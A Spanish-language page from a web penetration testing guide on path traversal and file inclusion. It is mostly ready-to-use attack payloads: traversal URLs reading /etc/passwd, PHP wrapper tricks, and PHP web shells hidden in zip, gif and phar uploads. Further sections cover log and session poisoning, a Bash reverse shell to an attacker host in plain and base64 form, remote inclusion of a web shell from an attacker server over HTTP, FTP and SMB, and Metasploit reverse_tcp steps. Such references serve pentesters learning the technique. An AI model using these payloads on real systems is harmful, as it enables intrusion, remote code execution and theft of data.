🟢
Web Application Penetration Testing
  • Inicio
  • General
    • Metodologías y estándares
    • Aplicaciones vulnerables
  • Reconocimiento y recolección de información
    • Web Application Firewall (WAF)
    • Domain Name System (DNS)
    • Subdominios y Virtual Host (VHost)
    • SSL/TLS y algoritmos de cifrados
    • Certificados
    • Tecnologías web
  • Escaneo y enumeración
    • HTTP security headers
    • HTTP methods (verbs)
    • Crawling y spidering
    • Fuzzing
      • Directorios
      • Archivos
      • Extensiones
      • Parámetros
        • GET
        • POST
      • Wordlists
    • Compresión y ofuscación
    • Herramientas automatizadas
  • Explotación
    • API keys
    • Clickjacking
    • HTTP methods (verbs)
    • Input data validation
    • HTTP Host header
    • Autenticación y autorización
      • Cookie
      • JSON Web Token (JWT)
      • OAuth
      • SAML
    • Same-origin policy (SOP)
      • Cross-origin resource sharing (CORS)
    • Cross-site scripting (XSS)
    • Cross-site request forgery (CSRF)
    • File upload
    • Path traversal & file inclusion
    • Command injection
      • Node.js
    • SQL injection (SQLi)
      • MySQL / MariaDB
      • Microsoft SQL Server
      • PostgreSQL
      • Oracle
      • sqlmap
    • NoSQL injection (NoSQLi)
    • XML external entity (XXE) injection
    • CRLF injection
    • XPath injection
    • LDAP injection
    • PDF injection
    • Server-side template injection (SSTI)
    • Server-side include (SSI) injection
    • Server-side parameter pollution
    • Server-side request forgery (SSRF)
    • Web cache poisoning
    • HTTP request smuggling
    • GraphQL
    • Open redirect
    • Content Management System (CMS)
      • WordPress
    • Websocket
    • Deserialization
    • Flash
  • Checklist
    • Web application penetration testing
    • Web API penetration testing
Con tecnología de GitBook
En esta página
  • Path traversal
  • Null byte
  • Local File Inclusion (LFI)
  • Payloads
  • Fuerza bruta
  • PHP wrappers
  • Local File Inclusion (LFI) a Remote Code Execution (RCE)
  • Remote File Inclusion (RFI)
  • Remote File Inclusion (RFI) a Remote Code Execution (RCE)
  • Metasploit

¿Te fue útil?

  1. Explotación

Path traversal & file inclusion

AnteriorFile uploadSiguienteCommand injection

Última actualización hace 1 año

¿Te fue útil?

Path traversal

http://<target>/index.php?page=../../../<directory>/<file>
http://<target>/index.php?page=../../../etc/passwd
http://<target>/index.php?page=../../../windows/win.ini

Null byte

Omite la adición de caracteres al final de la cadena proporcionada.

http://<target>/index.php?page=../../../etc/passwd%00

Local File Inclusion (LFI)

Payloads

Linux/Unix

Windows

SecLists

Fuerza bruta

Wfuzz

wfuzz -u http://<target>/index.php?page=../../../../../../FUZZ -w <path-wordlist-lfi> --hw 0 -c 
  • -u = URL.

    • <target> = objetivo.

    • FUZZ = la palabra FUZZ será reemplazada con los valores de la wordlist.

  • -w = wordlist.

    • <path-wordlist-lfi> = ruta de wordlist Local File Inclusion (LFI).

  • --hw 0 = ocultar respuestas con 0 (cero) palabras.

  • -c = output con colores.

FFuF

ffuf -u http://<target>/index.php?page=FUZZ -w <path-wordlist>:FUZZ
  • -u = URL.

    • <target> = objetivo.

    • FUZZ = la palabra FUZZ será reemplazada con los valores de la wordlist.

  • -w = wordlist.

    • <path-wordlist> = ruta de wordlist.

PHP wrappers

Wrapper php://filter

# base64
http://<target>/index.php?page=php://filter/read=convert.base64-encode/resource=../../../<directory>/<file>
# ROT13
http://<target>/index.php?page=php://filter/read=string.rot13/resource=../../../<directory>/<file>

Wrapper data://

Es posible utilizar este wrapper solo si la opción allow_url_include está habilitada en la configuración de PHP.

http://<target>/index.php?page=data://text/plain,<?php phpinfo(); ?>
http://<target>/index.php?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>

Local File Inclusion (LFI) a Remote Code Execution (RCE)

Wrapper expect://

Este wrapper está deshabilitado de forma predeterminada.

http://<target>/index.php?page=expect://id

Wrapper input://

Es posible utilizar este wrapper solo si la opción allow_url_include está habilitada en la configuración de PHP.

curl -s -X POST --data "<?php system('id'); ?>" "http://<target>/index.php?page=php://input" | grep uid
Request
POST /index.php?page=php://input
Host: <target>

<?php system('whoami'); ?>

Wrapper data://

Es posible utilizar este wrapper solo si la opción allow_url_include está habilitada en la configuración de PHP.

http://<target>/index.php?page=data://text/plain,<?php system('whoami'); ?>
http://<target>/index.php?page=data://text/plain;base64,<base64>

Ejemplo de web shell (base64).

# Web shell (PHP)
echo '<?php system($_GET['cmd']); ?>' | base64

# Web shell (PHP) en base64
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=

# Payload final
http://<target>/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=&cmd=id

Ejemplo de reverse shell (base64).

# Reverse shell (Bash)
bash -c 'bash -i >& /dev/tcp/<IP-Address>/<port> 0>&1'

# Reverse shell (Bash) en base64
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC97SVAtQWRkcmVzc30ve3BvcnR9IDA+JjEn

# Payload final
http://<target>/index.php?page=data://text/plain;base64,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC97SVAtQWRkcmVzc30ve3BvcnR9IDA+JjEn

File upload

1) Wrapper zip://

Generación de archivo .zip con web shell.

echo '<?php system($_GET['cmd']); ?>' > webshell.php
zip webshell.zip webshell.php
rm webshell.php

Subir archivo webshell.zip al servidor web objetivo.

Es posible hacer referencia a los archivos dentro del archivo webshell.zip con el simbolo #.

# Sin URL encode
http://<target>/index.php?page=zip://webshell.zip#cmd.php&cmd=id

# Con URL endoce
http://<target>/index.php?page=zip://webshell.zip%23cmd.php&cmd=id

2) Archivo de imagen.

Generación de archivo webshell.gif con web shell.

echo 'GIF8<?php system($_GET["cmd"]); ?>' > webshell.gif

Subir archivo webshell.gif al servidor web objetivo y realizar su ejecución desde el Local File Inclusion (LFI) identificado.

http://<target>/index.php?page=webshell.gif&cmd=id

3) Wrapper phar://

webshell.php
<?php
$phar = new Phar('webshell.phar');
$phar->startBuffering();
$phar->addFromString('webshell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
?>

Generación de archivo .phar desde webshell.php y cambio de extensión a .jpg.

php --define phar.readonly=0 webshell.php
mv webshell.phar webshell.jpg

Subir archivo webshell.jpg al servidor web objetivo y realizar su ejecución desde el Local File Inclusion (LFI) identificado.

http://<target>/index.php?page=phar://webshell.jpg/webshell.txt&cmd=id

Log poisoning

Archivos de logs:

  • /var/log/apache2/access.log

  • /var/log/nginx/access.log

  • /var/log/sshd.log

  • /var/log/mail

  • /var/log/vsftpd.log

  • /proc/self/environ

Request
GET /index.php?page=<log-file>
Host: <target>




User-Agent: <?php system($_GET['cmd']); ?>
http://<target>/index.php?page=<log-file>&cmd=id

Archivos de sesión de PHP

Rutas de almacenamiento de archivos de sesión de PHP:

  • /var/lib/php/sessions/

  • C:\Windows\Temp

Ejemplo para PHPSESSID con valor ujllfv2j2sm7ae11is401hvdf9.

http://<target>/index.php?page=<session-files-path>/sess_ujllfv2j2sm7ae11is401hvdf9

Modificación de alguno de los valores almacenados en la sesión por:

<?php system($_GET['cmd']); ?>

Ejecución de comandos.

http://<target>/index.php?page=<session-files-path>/sess_ujllfv2j2sm7ae11is401hvdf9&cmd=id

Remote File Inclusion (RFI)

Para incluir un archivo remoto en PHP, las opciones allow_url_fopen (habilitada de forma predeterminada) y allow_url_include deben estar activadas en la configuración.

http://<target>/index.php?page=http://<domain-name>
http://<target>/index.php?page=http://www.google.com

Remote File Inclusion (RFI) a Remote Code Execution (RCE)

Creación de webshell.

webshell.php
<?php system($_GET['cmd']); ?>

HTTP

Habilitación de servidor HTTP para compartir el archivo webshell.php.

python -m SimpleHTTPServer <port>
python3 -m http.server <port>

Ejecución de comandos.

http://<target>/index.php?page=http://<attacker-IP-address>/webshell.php&cmd=id

FTP

Habilitación de servidor FTP para compartir el archivo webshell.php.

python3 -m pyftpdlib -p 21

Ejecución de comandos.

http://<target>/index.php?page=ftp://<attacker-IP-address>/webshell.php&cmd=id

SMB

Cuando la aplicación se ejecuta en Windows, las restricciones aplicadas por allow_url_include pueden omitirse mediante el uso del protocolo SMB. Esto se debe a que Windows trata los archivos de los servidores SMB remotos como archivos normales, a los que se puede hacer referencia directamente con una ruta UNC (Universal Naming Convention).

Habilitación de servidor SMB para compartir el archivo webshell.php.

impacket-smbserver -smb2support share $(pwd)

Ejecución de comandos.

http://<target>/index.php?page=\\<attacker-IP-address>\webshell.php&cmd=id

Metasploit

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker-IP-address> LPORT=5555 -f exe > shell.exe
use unix/webapp/php_include
set RHOST <target>
set PHPURI /index.php?page=XXpathXX
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST <attacker-IP-address>
set LPORT 4444
exploit
# Desde sesión de meterpreter
upload shell.exe
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <attacker-IP-address>
set LPORT 5555
exploit -j
use unix/webapp/php_include
set PAYLOAD php/exec
set CMD shell.exe
exploi

https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/lfi-rfi/lfi-linux-payloads.txt
https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/lfi-rfi/lfi-linux-list.txt
https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/lfi-rfi/lfi-windows-list.txt
https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI